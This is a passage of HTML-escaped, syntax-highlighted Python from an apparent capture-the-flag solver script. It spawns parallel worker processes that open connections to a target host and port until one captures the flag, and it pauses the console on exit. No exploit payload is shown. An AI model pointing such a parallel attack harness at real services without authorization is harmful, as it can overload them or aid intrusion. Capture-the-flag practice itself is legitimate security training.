&lt;/span&gt;&lt;span&gt;run_worker&lt;/span&gt;&lt;span&gt;(args.host, args.port, i,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;322&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                           &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;&quot;verbose&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;attempts&quot;&lt;/span&gt;&lt;span&gt;: args.attempts,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;323&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                            &lt;/span&gt;&lt;span&gt;&quot;ssl&quot;&lt;/span&gt;&lt;span&gt;: args.ssl, &lt;/span&gt;&lt;span&gt;&quot;sni&quot;&lt;/span&gt;&lt;span&gt;: args.sni}, &lt;/span&gt;&lt;span&gt;matcher&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;shared)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;324&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;results.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(r)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;325&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;&lt;span&gt; r.&lt;/span&gt;&lt;span&gt;get&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;flag&quot;&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;326&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;flag captured by worker &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;; stopping early&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;327&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;break&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;328&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;329&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;_report&lt;/span&gt;&lt;span&gt;(results, args)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;330&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;331&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;opening &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt; connections to &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;args.host&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;args.port&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt; ...&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;332&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;333&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# &lt;/span&gt;&lt;span&gt;NOTE&lt;/span&gt;&lt;span&gt;: one subprocess per connection, with stdout redirected to a file.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;334&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# multiprocessing.Pool / any piped stdio is unusable in this sandbox&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;335&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# (WinError 5 on named pipes), so results are exchanged through log files and&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;336&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# each worker&apos;s output is tailed back to the console by a thread.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;337&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; subprocess &lt;/span&gt;&lt;span&gt;as&lt;/span&gt;&lt;span&gt; sp&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;338&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; threading&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;339&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;procs &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; []&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;340&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(n):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;341&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;log &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; log_dir &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;worker_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;:02d&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;.log&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;342&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;cmd &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [sys.executable, &lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;Path&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;__file__&lt;/span&gt;&lt;span&gt;&lt;span&gt;).&lt;/span&gt;&lt;span&gt;resolve&lt;/span&gt;&lt;span&gt;()),&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;343&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;&quot;--host&quot;&lt;/span&gt;&lt;span&gt;, args.host, &lt;/span&gt;&lt;span&gt;&quot;--port&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;(args.port),&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;344&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;&quot;--worker-id&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;(i), &lt;/span&gt;&lt;span&gt;&quot;--log-dir&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;(log_dir),&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;345&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;&quot;--attempts&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;(args.attempts)]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;346&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; args.ssl:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;347&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;cmd.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;--ssl&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;348&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; args.sni:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;349&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;cmd &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;&quot;--sni&quot;&lt;/span&gt;&lt;span&gt;, args.sni]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;350&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;# every worker streams its per-round detail&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;351&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;cmd.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;--verbose&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;352&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;fh &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; log.&lt;/span&gt;&lt;span&gt;open&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;w&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;encoding&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;errors&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;replace&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;353&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;procs.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;((i, sp.&lt;/span&gt;&lt;span&gt;Popen&lt;/span&gt;&lt;span&gt;(cmd, &lt;/span&gt;&lt;span&gt;stdout&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;fh, &lt;/span&gt;&lt;/span&gt;&lt;span&gt;stderr&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;sp.&lt;/span&gt;&lt;span&gt;STDOUT&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;/span&gt;&lt;span&gt;stdin&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;sp.&lt;/span&gt;&lt;span&gt;DEVNULL&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;354&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                                  &lt;/span&gt;&lt;span&gt;cwd&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;WORKSPACE&lt;/span&gt;&lt;span&gt;)), fh, log))&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;355&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
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&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;439&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;The window vanishing the moment the script ends is the usual reason a solved&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;440&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;flag is never seen. We only pause when BOTH stdin and stdout are terminals:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;441&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;checking stdin alone is not enough, because `python solve.py | Select-Object`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;442&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;still leaves stdin attached to the console and would block automation. Passing&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;443&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;--no-pause, redirecting output, or running as a worker child skips the wait.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;444&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;445&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;getattr&lt;/span&gt;&lt;span&gt;(args, &lt;/span&gt;&lt;span&gt;&quot;no_pause&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;False&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;getattr&lt;/span&gt;&lt;span&gt;(args, &lt;/span&gt;&lt;span&gt;&quot;worker_id&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;is&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;not&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;446&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;447&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;448&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;is_tty&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;stream&lt;/span&gt;&lt;span&gt;) -&amp;gt; &lt;/span&gt;&lt;span&gt;bool&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;449&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;try&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;450&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; stream &lt;/span&gt;&lt;span&gt;is&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;not&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;and&lt;/span&gt;&lt;span&gt;&lt;span&gt; stream.&lt;/span&gt;&lt;span&gt;isatty&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;451&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;except&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;ValueError&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;OSError&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;452&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;False&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;453&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;454&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;not&lt;/span&gt;&lt;span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;is_tty&lt;/span&gt;&lt;span&gt;(sys.stdin) &lt;/span&gt;&lt;/span&gt;&lt;span&gt;and&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;is_tty&lt;/span&gt;&lt;span&gt;(sys.stdout)):&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;455&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;456&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;try&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;457&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;input&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;[按 Enter 关闭窗口 / press Enter to exit] &quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;458&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;except&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;EOFError&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;KeyboardInterrupt&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;459&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;460&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
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